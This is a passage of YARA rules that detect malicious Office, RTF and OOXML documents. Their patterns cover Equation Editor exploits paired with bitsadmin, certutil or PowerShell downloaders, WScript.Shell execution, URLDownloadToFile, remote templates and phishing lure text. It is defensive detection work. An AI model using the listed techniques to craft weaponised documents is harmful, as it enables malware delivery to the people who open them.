		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "595dc0153a2349fbd4f92dd544a3dfd05715059dd639653e7c7e6ac80624360e"
		score = 75
		quality = 75
		tags = "CVE-2017-8759, FILE"
	strings:
		$clsid1 = { 00 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
		$clsid2 = { 00 03 00 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
		$clsid3 = "0003000000000000c000000000000046" ascii nocase
		$clsid4 = "4f4c45324c696e6b" ascii nocase
		$clsid5 = "OLE2Link" ascii nocase
		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
		$ole3 = "64306366313165306131623131616531" ascii
		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31"
		$s1 = "wsdl=http" wide
		$s2 = "METAFILEPICT" ascii
		$s3 = "INCLUDEPICTURE \"http" ascii
		$s4 = "!This program cannot be run in DOS mode" ascii
	condition:
		uint32( 0 ) == 0x74725c7b and 1 of ( $clsid* ) and 1 of ( $ole* ) and 2 of ( $s* )
}


rule DITEKSHEN_INDICATOR_RTF_Embedded_Excel_Sheetmacroenabled : FILE
{
	meta:
		description = "Detects RTF documents embedding an Excel sheet with macros enabled. Observed in exploit followed by dropper behavior"
		author = "ditekSHen"
		id = "342d10b3-61d2-5fcb-8f4f-1fe45049257b"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L304-L328"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "cc3b52e549c2697c6e0a2fea365d193311d90d26854bd2fe321aa26c118975a0"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$ex1 = "457863656c2e53686565744d6163726f456e61626c65642e" ascii nocase
		$ex2 = "0002083200000000c000000000000046" ascii nocase
		$ex3 = "Excel.SheetMacroEnabled." ascii
		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
		$ole3 = "64306366313165306131623131616531" ascii
		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31"
		$obj1 = "\\objhtml" ascii
		$obj2 = "\\objdata" ascii
		$obj3 = "\\objupdate" ascii
		$obj4 = "\\objemb" ascii
		$obj5 = "\\objautlink" ascii
		$obj6 = "\\objlink" ascii
		$obj7 = "\\mmath" ascii
	condition:
		uint32( 0 ) == 0x74725c7b and ( 1 of ( $ex* ) and 1 of ( $ole* ) and 2 of ( $obj* ) )
}

rule DITEKSHEN_INDICATOR_OLE_Metadatacmd : FILE
{
	meta:
		description = "Detects OLE documents with Windows command-line utilities commands (certutil, powershell, etc.) stored in the metadata (author, last modified by, etc.)."
		author = "ditekSHen"
		id = "63b23630-b344-5fba-95f4-950d072beaff"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L330-L349"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "0562d026a1ad4510310ebff5da154064f92afc7bf714973f7de362435476772c"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$cmd1 = { 00 1E 00 00 00 [1-4] 00 00 (63|43) (6D|4D) (64|44) (00|20) }
		$cmd2 = { 00 1E 00 00 00 [1-4] 00 00 (6D|4D) (73|53) (68|48) (74|54) (61|41) (00|20) }
		$cmd3 = { 00 1E 00 00 00 [1-4] 00 00 (77|57) (73|53) (63|43) (72|52) (69|49) (70|50) (74|54) (00|20) }
		$cmd4 = { 00 1E 00 00 00 [1-4] 00 00 (63|42) (65|45) (72|52) (74|54) (75|55) (74|54) (69|49) (6C|4C) (00|20) }
		$cmd5 = { 00 1E 00 00 00 [1-4] 00 00 (70|50) (6F|4F) (77|57) (65|45) (72|52) (73|43) (68|48) (65|45) (6C|4C) (6C|4C) (00|20) }
		$cmd6 = { 00 1E 00 00 00 [1-4] 00 00 (6E|4E) (65|45) (74|54) 2E (77|57) (65|45) (62|42) (63|43) (6C|4C) (69|49) (65|45) (6E|4E) (74|54) (00|20) }
	condition:
		uint16( 0 ) == 0xcfd0 and any of them
}

rule DITEKSHEN_INDICATOR_RTF_Equation_Bitsadmin_Downloader : FILE
{
	meta:
		description = "Detects RTF documents that references both Microsoft Equation Editor and BITSAdmin. Common exploit + dropper behavior."
		author = "ditekSHen"
		id = "e96a6f18-9a5e-58ca-829e-c82b444ad403"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L428-L451"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "39a07a0af243e929a6b3df48b6cf8a9d30bc8ef9e7deac494348945427b015e7"
		score = 75
		quality = 75
		tags = "FILE"
		snort2_sid = "910002-910003"
		snort3_sid = "910001"
		clamav_sig = "INDICATOR.RTF.EquationBITSAdminDownloader"
	strings:
		$eq = "0200000002CE020000000000C000000000000046" ascii nocase
		$ba = "6269747361646d696e" ascii nocase
		$obj1 = "\\objhtml" ascii
		$obj2 = "\\objdata" ascii
		$obj3 = "\\objupdate" ascii
		$obj4 = "\\objemb" ascii
		$obj5 = "\\objautlink" ascii
		$obj6 = "\\objlink" ascii
		$obj7 = "\\mmath" ascii
	condition:
		uint32( 0 ) == 0x74725c7b and ( ( $eq and $ba ) and 1 of ( $obj* ) )
}

rule DITEKSHEN_INDICATOR_RTF_Equation_Certutil_Downloader : FILE
{
	meta:
		description = "Detects RTF documents that references both Microsoft Equation Editor and CertUtil. Common exploit + dropper behavior."
		author = "ditekSHen"
		id = "a47f31f9-91fc-5009-8aff-2b9e334c3139"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L453-L476"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d6c62957ce40ed755a84bd9aa8900e4990c466097d6df55c539b289bf50fe94e"
		score = 75
		quality = 75
		tags = "FILE"
		snort2_sid = "910006-910007"
		snort3_sid = "910003"
		clamav_sig = "INDICATOR.RTF.EquationCertUtilDownloader"
	strings:
		$eq = "0200000002CE020000000000C000000000000046" ascii nocase
		$cu = "636572747574696c" ascii nocase
		$obj1 = "\\objhtml" ascii
		$obj2 = "\\objdata" ascii
		$obj3 = "\\objupdate" ascii
		$obj4 = "\\objemb" ascii
		$obj5 = "\\objautlink" ascii
		$obj6 = "\\objlink" ascii
		$obj7 = "\\mmath" ascii
	condition:
		uint32( 0 ) == 0x74725c7b and ( ( $eq and $cu ) and 1 of ( $obj* ) )
}

rule DITEKSHEN_INDICATOR_RTF_Equation_Powershell_Downloader : FILE
{
	meta:
		description = "Detects RTF documents that references both Microsoft Equation Editor and PowerShell. Common exploit + dropper behavior."
		author = "ditekSHen"
		id = "5d1d65ef-e183-5a0d-a0fa-d0d5f09f21a1"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L478-L501"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "0b8b9b7b40f8b4d659de9e025a65d5c6b64c6066bb618a3e7ed3c318f70befe5"
		score = 75
		quality = 75
		tags = "FILE"
		snort2_sid = "910004-910005"
		snort3_sid = "910002"
		clamav_sig = "INDICATOR.RTF.EquationPowerShellDownloader"
	strings:
		$eq = "0200000002CE020000000000C000000000000046" ascii nocase
		$ps = "706f7765727368656c6c" ascii nocase
		$obj1 = "\\objhtml" ascii
		$obj2 = "\\objdata" ascii
		$obj3 = "\\objupdate" ascii
		$obj4 = "\\objemb" ascii
		$obj5 = "\\objautlink" ascii
		$obj6 = "\\objlink" ascii
		$obj7 = "\\mmath" ascii
	condition:
		uint32( 0 ) == 0x74725c7b and ( ( $ps and $eq ) and 1 of ( $obj* ) )
}

rule DITEKSHEN_INDICATOR_RTF_LNK_Shell_Explorer_Execution : FILE
{
	meta:
		description = "detects RTF files with Shell.Explorer.1 OLE objects with embedded LNK files referencing an executable."
		author = "ditekSHen"
		id = "2cac4dd8-086a-5220-a658-94cedd9cf7c3"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L503-L517"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4c11a37425e260692e11dc8fca317611106245d1590081a7038036ad568702f8"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$clsid = "c32ab2eac130cf11a7eb0000c05bae0b" ascii nocase
		$lnk_header = "4c00000001140200" ascii nocase
		$http_url = "6800740074007000" ascii nocase
		$file_url = "660069006c0065003a" ascii nocase
	condition:
		uint32( 0 ) == 0x74725c7b and filesize < 1500KB and $clsid and $lnk_header and ( $http_url or $file_url )
}

rule DITEKSHEN_INDICATOR_RTF_Forms_HTML_Execution : FILE
{
	meta:
		description = "detects RTF files with Forms.HTML:Image.1 or Forms.HTML:Submitbutton.1 OLE objects referencing file or HTTP URLs."
		author = "ditekSHen"
		id = "26b21c94-9192-53be-808b-b553f87769e1"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L519-L533"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5e8a2072971c40d6fbc0e0265a9adfbe4faa04d0f3c6962fda443da33aa06906"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$img_clsid = "12d11255c65ccf118d6700aa00bdce1d" ascii nocase
		$sub_clsid = "10d11255c65ccf118d6700aa00bdce1d" ascii nocase
		$http_url = "6800740074007000" ascii nocase
		$file_url = "660069006c0065003a" ascii nocase
	condition:
		uint32( 0 ) == 0x74725c7b and filesize < 1500KB and ( $img_clsid or $sub_clsid ) and ( $http_url or $file_url )
}

rule DITEKSHEN_INDICATOR_PUB_MSIEXEC_Remote : FILE
{
	meta:
		description = "detects VB-enable Microsoft Publisher files utilizing Microsoft Installer to retrieve remote files and execute them"
		author = "ditekSHen"
		id = "518db2bb-174b-54c4-b330-1e8a8e36265d"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L535-L549"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "be5407e6e6e21e77f6de1d3a378996bfc6ce4326986aa03eb152e772bb495184"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Microsoft Publisher" ascii
		$s2 = "msiexec.exe" ascii
		$s3 = "Document_Open" ascii
		$s4 = "/norestart" ascii
		$s5 = "/i http" ascii
		$s6 = "Wscript.Shell" fullword ascii
		$s7 = "\\VBE6.DLL#" wide
	condition:
		uint16( 0 ) == 0xcfd0 and 6 of them
}

rule DITEKSHEN_INDICATOR_RTF_Ancalog_Exploit_Builder_Document : FILE
{
	meta:
		description = "Detects documents generated by Phantom Crypter/Ancalog"
		author = "ditekSHen"
		id = "01e7f949-8ced-5355-978c-34d6e639e61a"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L551-L563"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e458be78ca8975d067110dc38119437b3ffe55afdbfdab47468c9ed74bba9f9d"
		score = 75
		quality = 75
		tags = "FILE"
		snort2_sid = "910000-910001"
		snort3_sid = "910000"
		clamav_sig = "INDICATOR.RTF.AncalogExploitBuilderDocument"
	strings:
		$builder1 = "{\\*\\ancalog" ascii
		$builder2 = "\\ancalog" ascii
	condition:
		uint32( 0 ) == 0x74725c7b and 1 of ( $builder* )
}

rule DITEKSHEN_INDICATOR_RTF_Threadkit_Exploit_Builder_Document : FILE
{
	meta:
		description = "Detects vaiations of RTF documents generated by ThreadKit builder."
		author = "ditekSHen"
		id = "f4a4e7f0-ea2f-523f-9634-a939dc90706e"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L565-L582"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f2308ac6ae5345e0c783871dd6b471397ec83ba7194db5cc74c8984d84c2c0c2"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$obj1 = "\\objhtml" ascii
		$obj2 = "\\objdata" ascii
		$obj3 = "\\objupdate" ascii
		$obj4 = "\\objemb" ascii
		$obj5 = "\\objautlink" ascii
		$obj6 = "\\objlink" ascii
		$obj7 = "\\mmath" ascii
		$pat1 = /\\objupdate\\v[\\\s\n\r]/ ascii
	condition:
		uint32( 0 ) == 0x74725c7b and 2 of ( $obj* ) and 1 of ( $pat* )
}

rule DITEKSHEN_INDICATOR_XML_Legacydrawing_Autoload_Document : FILE
{
	meta:
		description = "detects AutoLoad documents using LegacyDrawing"
		author = "ditekSHen"
		id = "ce116601-7048-5a3f-9b73-5127ca3b359e"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L584-L594"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a038636f5e8e7837c2209072f1659b921c8a9a48d4ed153e735915cf1f7f3fcc"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "<legacyDrawing r:id=\"" ascii
		$s2 = "<oleObject progId=\"" ascii
		$s3 = "autoLoad=\"true\"" ascii
	condition:
		uint32( 0 ) == 0x6d783f3c and all of ( $s* )
}

rule DITEKSHEN_INDICATOR_XML_OLE_Autoload_Document : FILE
{
	meta:
		description = "detects AutoLoad documents using OLE Object"
		author = "ditekSHen"
		id = "b3d682c3-641a-554a-8607-e99d07e9a57d"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L596-L606"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b262a9f8e82dea55afc26acac731827b64f52069a2bf314f716832b3dfc2c04f"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "autoLoad=\"true\"" ascii
		$s2 = "/relationships/oleObject\"" ascii
		$s3 = "Target=\"../embeddings/oleObject" ascii
	condition:
		uint32( 0 ) == 0x6d783f3c and all of ( $s* )
}

rule DITEKSHEN_INDICATOR_XML_Squiblydoo_1 : FILE
{
	meta:
		description = "detects Squiblydoo variants extracted from exploit RTF documents."
		author = "ditekSHen"
		id = "cac326ab-cc31-59c1-bd12-285db1675695"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L608-L622"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b52ebd76dd4e60f6bd5cb19fed3a72b6aeb90dea95f0d1be61dcfff39ea674ae"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$slt = "<scriptlet" ascii
		$ws1 = "CreateObject(\"WScript\" & \".Shell\")" ascii
		$ws2 = "CreateObject(\"WScript.Shell\")" ascii
		$ws3 = "ActivexObject(\"WScript.Shell\")" ascii
		$r1 = "[\"run\"]" nocase ascii
		$r2 = ".run \"cmd" nocase ascii
		$r3 = ".run chr(" nocase ascii
	condition:
		( uint32( 0 ) == 0x4d583f3c or uint32( 0 ) == 0x6d783f3c ) and $slt and 1 of ( $ws* ) and 1 of ( $r* )
}

rule DITEKSHEN_INDICATOR_OLE_Suspicious_Reverse : FILE
{
	meta:
		description = "detects OLE documents containing VB scripts with reversed suspicious strings"
		author = "ditekSHen"
		id = "a7f4d18d-add6-5df2-9a8c-f88d8e3766da"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L624-L644"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "04950549eede23b7006103539f20437713a54138c073d9805048392ea0a3df2a"
		score = 65
		quality = 71
		tags = "FILE"
	strings:
		$vb = "\\VBE7.DLL" ascii
		$cmd1 = "CMD C:\\" nocase ascii
		$cmd2 = "CMD /c " nocase ascii
		$kw1 = "]rAHC[" nocase ascii
		$kw2 = "ekOVNI" nocase ascii
		$kw3 = "EcaLPEr" nocase ascii
		$kw4 = "TcEJBO-WEn" nocase ascii
		$kw5 = "eLbAirav-Teg" nocase ascii
		$kw6 = "ReveRSE(" nocase ascii
		$kw7 = "-JOIn" nocase ascii
	condition:
		uint16( 0 ) == 0xcfd0 and $vb and ( ( 1 of ( $cmd* ) and 1 of ( $kw* ) ) or ( 2 of ( $kw* ) ) )
}

rule DITEKSHEN_INDICATOR_OLE_Suspicious_Activex : FILE
{
	meta:
		description = "detects OLE documents with suspicious ActiveX content"
		author = "ditekSHen"
		id = "e4a74955-8519-561d-bb23-6469e7ae5aaa"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L646-L676"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d9a672b0eeccd93b4ae98fef45560490171f8fc16b712d1e0141fc0ef1d0e342"
		score = 65
		quality = 73
		tags = "FILE"
	strings:
		$vb = "\\VBE7.DLL" ascii
		$ax1 = "_Layout" ascii
		$ax2 = "MultiPage1_" ascii
		$ax3 = "_MouseMove" ascii
		$ax4 = "_MouseHover" ascii
		$ax5 = "_MouseLeave" ascii
		$ax6 = "_MouseEnter" ascii
		$ax7 = "ImageCombo21_Change" ascii
		$ax8 = "InkEdit1_GotFocus" ascii
		$ax9 = "InkPicture1_" ascii
		$ax10 = "SystemMonitor1_" ascii
		$ax11 = "WebBrowser1_" ascii
		$ax12 = "_Click" ascii
		$kw1 = "CreateObject" ascii
		$kw2 = "CreateTextFile" ascii
		$kw3 = ".SpawnInstance_" ascii
		$kw4 = "WScript.Shell" ascii
		$kw5 = { 43 68 72 [0-2] 41 73 63 [0-2] 4d 69 64 }
		$kw6 = { 43 68 [0-2] 72 24 28 40 24 28 22 26 48 }
		$kw7 = { 41 63 74 69 76 65 44 6f 63 75 6d 65 6e 74 }
	condition:
		uint16( 0 ) == 0xcfd0 and $vb and 1 of ( $ax* ) and 2 of ( $kw* )
}

rule DITEKSHEN_INDICATOR_RTF_Malver_Objects : FILE
{
	meta:
		description = "Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents."
		author = "ditekSHen"
		id = "2d9d80e0-473e-5aac-a576-8f0002e120e2"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L704-L718"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "69136fb8ba180f6f86e569471bcefe8f55c61af73c66ebd6062ba7369aee9a72"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$obj1 = "\\objhtml" ascii
		$obj2 = "\\objdata" ascii
		$obj3 = "\\objupdate" ascii
		$obj4 = "\\objemb" ascii
		$obj5 = "\\objautlink" ascii
		$obj6 = "\\objlink" ascii
	condition:
		uint32( 0 ) == 0x74725c7b and ( ( not uint8( 4 ) == 0x66 or not uint8( 5 ) == 0x31 or not uint8( 6 ) == 0x5c ) and 1 of ( $obj* ) )
}

rule DITEKSHEN_INDICATOR_PPT_Mastermana : FILE
{
	meta:
		description = "Detects known malicious pattern (MasterMana) in PowerPoint documents."
		author = "ditekSHen"
		id = "8e9b8185-6211-54c6-946d-b16f2226312a"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L720-L740"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f8169e63b22fbbd48de9a63ff228d9d9fb105e95d2ea8a37c0993493515e8b2e"
		score = 75
		quality = 71
		tags = "FILE"
	strings:
		$a1 = "auto_close" ascii nocase
		$a2 = "autoclose" ascii nocase
		$a3 = "auto_open" ascii nocase
		$a4 = "autoopen" ascii nocase
		$vb1 = "\\VBE7.DLL" ascii
		$vb2 = { 41 74 74 72 69 62 75 74 ?? 65 20 56 42 5f 4e 61 6d ?? 65 }
		$clsid = "000204EF-0000-0000-C000-000000000046" wide nocase
		$i1 = "@j.mp/" ascii wide
		$i2 = "j.mp/" ascii wide
		$i3 = "\\pm.j\\\\:" ascii wide
		$i4 = ".zz.ht/" ascii wide
		$i5 = "/pm.j@" ascii wide
		$i6 = "\\pm.j@" ascii wide
	condition:
		uint16( 0 ) == 0xcfd0 and 1 of ( $i* ) and $clsid and 1 of ( $a* ) and 1 of ( $vb* )
}

rule DITEKSHEN_INDICATOR_XML_Webrelframe_Remotetemplate : FILE
{
	meta:
		description = "Detects XML web frame relations refrencing an external target in dropper OOXML documents"
		author = "ditekSHen"
		id = "724650db-8d58-5e73-92e7-287890babc3b"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L742-L752"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "fbe209e31ddb4369de02b6e91bf65f0588089c7b838dcf80f182248790b59e20"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$target1 = "/frame\" Target=\"http" ascii nocase
		$target2 = "/frame\" Target=\"file" ascii nocase
		$mode = "TargetMode=\"External" ascii
	condition:
		uint32( 0 ) == 0x6d783f3c and ( 1 of ( $target* ) and $mode )
}

rule DITEKSHEN_INDICATOR_RTF_Embedded_Excel_Urldownloadtofile : FILE
{
	meta:
		description = "Detects RTF documents that embed Excel documents for detection evation."
		author = "ditekSHen"
		id = "39b8723c-1755-5e2f-8fb2-cca5e9eef915"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L814-L840"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9416664683c249a9dc2b3d506d9dea7067a638cc4ee5ef7138e5b33a8fcd2b96"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$clsid1 = "2008020000000000c000000000000046" ascii nocase
		$obj1 = "\\objhtml" ascii
		$obj2 = "\\objdata" ascii
		$obj3 = "\\objupdate" ascii
		$obj4 = "\\objemb" ascii
		$obj5 = "\\objautlink" ascii
		$obj6 = "\\objlink" ascii
		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
		$ole3 = "64306366313165306131623131616531" ascii
		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31"
		$ole5 = { 64 30 63 66 [0-2] 31 31 65 30 61 31 62 31 31 61 65 31 }
		$ole6 = "D0cf11E" ascii nocase
		$s1 = "55524c446f776e6c6f6164546f46696c6541" ascii nocase
		$s2 = "55524c4d4f4e" ascii nocase
	condition:
		uint32( 0 ) == 0x74725c7b and ( 1 of ( $clsid* ) and 1 of ( $obj* ) and 1 of ( $ole* ) and 1 of ( $s* ) )
}

rule DITEKSHEN_INDICATOR_OLE_Excel4Macros_DL3 : FILE
{
	meta:
		description = "Detects OLE Excel 4 Macros documents acting as downloaders"
		author = "ditekSHen"
		id = "794cac49-e917-5282-8cbd-8ecf91a2dc9e"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L842-L860"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "83eaf60b900119b9fcd458e9e9dda119fd71785821bf282e9385031368ff9891"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$a1 = { 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a 00 }
		$a2 = { 18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a 00 }
		$a3 = { 18 00 21 00 20 00 00 01 12 00 00 00 00 00 00 00 00 00 01 3a ff }
		$a4 = { 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a 00 }
		$a5 = { 18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a 00 }
		$a6 = "auto_open" ascii nocase
		$a7 = "auto_close" ascii nocase
		$s1 = "* #,##0" ascii
		$s2 = "URLMon" ascii
		$s3 = "DownloadToFileA" ascii
		$s4 = "DllRegisterServer" ascii
	condition:
		uint16( 0 ) == 0xcfd0 and 1 of ( $a* ) and all of ( $s* ) and #s1 > 3
}

rule DITEKSHEN_INDICATOR_DOC_Phishingpatterns : FILE
{
	meta:
		description = "Detects OLE, RTF, PDF and OOXML (decompressed) documents with common phishing strings"
		author = "ditekSHen"
		id = "67372eb5-ed07-5062-a12e-9ad8c7070f0f"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L862-L883"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "50b6566cb18512f887c07576391eb492101f7534da3460d5f7740ee6f4cf707d"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "PERFORM THE FOLLOWING STEPS TO PERFORM DECRYPTION" ascii nocase
		$s2 = "Enable Editing" ascii nocase
		$s3 = "Enable Content" ascii nocase
		$s4 = "WHY I CANNOT OPEN THIS DOCUMENT?" ascii nocase
		$s5 = "You are using iOS or Android, please use Desktop PC" ascii nocase
		$s6 = "You are trying to view this document using Online Viewer" ascii nocase
		$s7 = "This document was edited in a different version of" ascii nocase
		$s8 = "document are locked and will not" ascii nocase
		$s9 = "until the \"Enable\" button is pressed" ascii nocase
		$s10 = "This document created in online version of Microsoft Office" ascii nocase
		$s11 = "This document created in previous version of Microsoft Office" ascii nocase
		$s12 = "This document protected by Microsoft Office" ascii nocase
		$s13 = "This document encrypted by" ascii nocase
		$s14 = "document created in earlier version of microsoft office" ascii nocase
	condition:
		( uint16( 0 ) == 0xcfd0 or uint32( 0 ) == 0x74725c7b or uint32( 0 ) == 0x46445025 or uint32( 0 ) == 0x6d783f3c ) and 2 of them
}

rule DITEKSHEN_INDICATOR_OOXML_Excel4Macros_EXEC : FILE
{
	meta:
		description = "Detects OOXML (decompressed) documents with Excel 4 Macros XLM macrosheet"
		author = "ditekSHen"
		id = "674ef310-d3bc-5e15-862f-29aa111becb3"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L885-L898"
